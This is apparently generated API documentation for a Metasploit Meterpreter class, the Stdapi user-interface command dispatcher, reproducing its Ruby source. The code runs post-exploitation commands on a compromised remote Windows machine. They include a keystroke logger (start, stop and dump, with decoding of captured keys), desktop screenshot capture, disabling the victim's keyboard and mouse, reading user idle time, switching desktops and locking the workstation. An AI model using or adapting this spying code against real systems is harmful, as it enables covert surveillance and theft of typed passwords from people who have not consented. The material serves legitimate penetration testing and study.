Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui
- Defined in:
- lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
Overview
The user interface portion of the standard API extension.
Constant Summary collapse
- Klass =
Console::CommandDispatcher::Stdapi::Ui
Instance Attribute Summary
Attributes included from Ui::Text::DispatcherShell::CommandDispatcher
Instance Method Summary collapse
-
#cmd_enumdesktops(*args) ⇒ Object
Enumerate desktops.
-
#cmd_getdesktop(*args) ⇒ Object
Get the current meterpreter desktop.
-
#cmd_idletime(*args) ⇒ Object
Executes a command with some options.
-
#cmd_keyscan_dump(*args) ⇒ Object
Dump captured keystrokes.
-
#cmd_keyscan_start(*args) ⇒ Object
Start the keyboard sniffer.
-
#cmd_keyscan_stop(*args) ⇒ Object
Stop the keyboard sniffer.
-
#cmd_screenshot(*args) ⇒ Object
Grab a screenshot of the current interactive desktop.
-
#cmd_setdesktop(*args) ⇒ Object
Change the meterpreters current desktop.
-
#cmd_uictl(*args) ⇒ Object
Enables/disables user interface mice and keyboards on the remote machine.
-
#cmd_unlockdesktop(*args) ⇒ Object
Unlock or lock the desktop.
-
#commands ⇒ Object
List of supported commands.
-
#name ⇒ Object
Name for this dispatcher.
Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
check_hash, #client, #log_error, set_hash
Methods included from Ui::Text::DispatcherShell::CommandDispatcher
#cmd_help, #cmd_help_tabs, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt
Instance Method Details
#cmd_enumdesktops(*args) ⇒ Object
Enumerate desktops
149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 149 def cmd_enumdesktops(*args) print_line( "Enumerating all accessible desktops" ) desktops = client.ui.enum_desktops desktopstable = Rex::Ui::Text::Table.new( 'Header' => "Desktops", 'Indent' => 4, 'Columns' => [ "Session", "Station", "Name" ] ) desktops.each { | desktop | session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s desktopstable << [ session, desktop['station'], desktop['name'] ] } if( desktops.length == 0 ) print_line( "No accessible desktops were found." ) else print( "\n" + desktopstable.to_s + "\n" ) end return true end |
#cmd_getdesktop(*args) ⇒ Object
Get the current meterpreter desktop.
180 181 182 183 184 185 186 187 188 189 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 180 def cmd_getdesktop(*args) desktop = client.ui.get_desktop session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\" print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" ) return true end |
#cmd_idletime(*args) ⇒ Object
Executes a command with some options.
49 50 51 52 53 54 55 56 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 49 def cmd_idletime(*args) seconds = client.ui.idle_time print_line( "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}") return true end |
#cmd_keyscan_dump(*args) ⇒ Object
Dump captured keystrokes
277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 277 def cmd_keyscan_dump(*args) print_line("Dumping captured keystrokes...") data = client.ui.keyscan_dump outp = "" data.unpack("n*").each do |inp| fl = (inp & 0xff00) >> 8 vk = (inp & 0xff) kc = VirtualKeyCodes[vk] f_shift = fl & (1<<1) f_ctrl = fl & (1<<2) f_alt = fl & (1<<3) if(kc) name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) case name when /^.$/ outp << name when /shift|click/i when 'Space' outp << " " else outp << " <#{name}> " end else outp << " <0x%.2x> " % vk end end print_line(outp) return true end |
#cmd_keyscan_start(*args) ⇒ Object
Start the keyboard sniffer
259 260 261 262 263 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 259 def cmd_keyscan_start(*args) print_line("Starting the keystroke sniffer...") client.ui.keyscan_start return true end |
#cmd_keyscan_stop(*args) ⇒ Object
Stop the keyboard sniffer
268 269 270 271 272 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 268 def cmd_keyscan_stop(*args) print_line("Stopping the keystroke sniffer...") client.ui.keyscan_stop return true end |
#cmd_screenshot(*args) ⇒ Object
Grab a screenshot of the current interactive desktop.
101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 101 def cmd_screenshot( *args ) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true screenshot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] ) screenshot_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: screenshot [options]\n" ) print_line( "Grab a screenshot of the current interactive desktop." ) print_line( screenshot_opts.usage ) return when "-q" quality = val.to_i when "-p" path = val when "-v" view = false if ( val =~ /^(f|n|0)/i ) end } data = client.ui.screenshot( quality ) if( data ) ::File.open( path, 'wb' ) do |fd| fd.write( data ) end path = ::File.( path ) print_line( "Screenshot saved to: #{path}" ) Rex::Compat.open_file( path ) if view end return true end |
#cmd_setdesktop(*args) ⇒ Object
Change the meterpreters current desktop.
194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 194 def cmd_setdesktop( *args ) switch = false dsession = -1 dstation = 'WinSta0' dname = 'Default' setdesktop_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], #"-s" => [ true, "The session (Default: '#{dsession}')" ], "-w" => [ true, "The window station (Default: '#{dstation}')" ], "-n" => [ true, "The desktop name (Default: '#{dname}')" ], "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ] ) setdesktop_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: setdesktop [options]\n" ) print_line( "Change the meterpreters current desktop." ) print_line( setdesktop_opts.usage ) return #when "-s" # dsession = val.to_i when "-w" dstation = val when "-n" dname = val when "-i" switch = true if ( val =~ /^(t|y|1)/i ) end } if( client.ui.set_desktop( dsession, dstation, dname, switch ) ) print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" ) else print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" ) end return true end |
#cmd_uictl(*args) ⇒ Object
Enables/disables user interface mice and keyboards on the remote machine.
61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 61 def cmd_uictl(*args) if (args.length < 2) print_line( "Usage: uictl [enable/disable] [keyboard/mouse]") return true end case args[0] when 'enable' case args[1] when 'keyboard' print_line("Enabling keyboard...") client.ui.enable_keyboard when 'mouse' print_line("Enabling mouse...") client.ui.enable_mouse else print_error("Unsupported user interface device: #{args[1]}") end when 'disable' case args[1] when 'keyboard' print_line("Disabling keyboard...") client.ui.disable_keyboard when 'mouse' print_line("Disabling mouse...") client.ui.disable_mouse else print_error("Unsupported user interface device: #{args[1]}") end else print_error("Unsupported command: #{args[0]}") end return true end |
#cmd_unlockdesktop(*args) ⇒ Object
Unlock or lock the desktop
239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 239 def cmd_unlockdesktop(*args) mode = 0 if(args.length > 0) mode = args[0].to_i end if(mode == 0) print_line("Unlocking the workstation...") client.ui.unlock_desktop(true) else print_line("Locking the workstation...") client.ui.unlock_desktop(false) end return true end |
#commands ⇒ Object
List of supported commands.
22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 22 def commands { "idletime" => "Returns the number of seconds the remote user has been idle", "uictl" => "Control some of the user interface components", "enumdesktops" => "List all accessible desktops and window stations", "getdesktop" => "Get the current meterpreter desktop", "setdesktop" => "Change the meterpreters current desktop", "keyscan_start" => "Start capturing keystrokes", "keyscan_stop" => "Stop capturing keystrokes", "keyscan_dump" => "Dump the keystroke buffer", "screenshot" => "Grab a screenshot of the interactive desktop", # not working yet # "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)", } end |
#name ⇒ Object
Name for this dispatcher.
42 43 44 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 42 def name "Stdapi: User interface" end |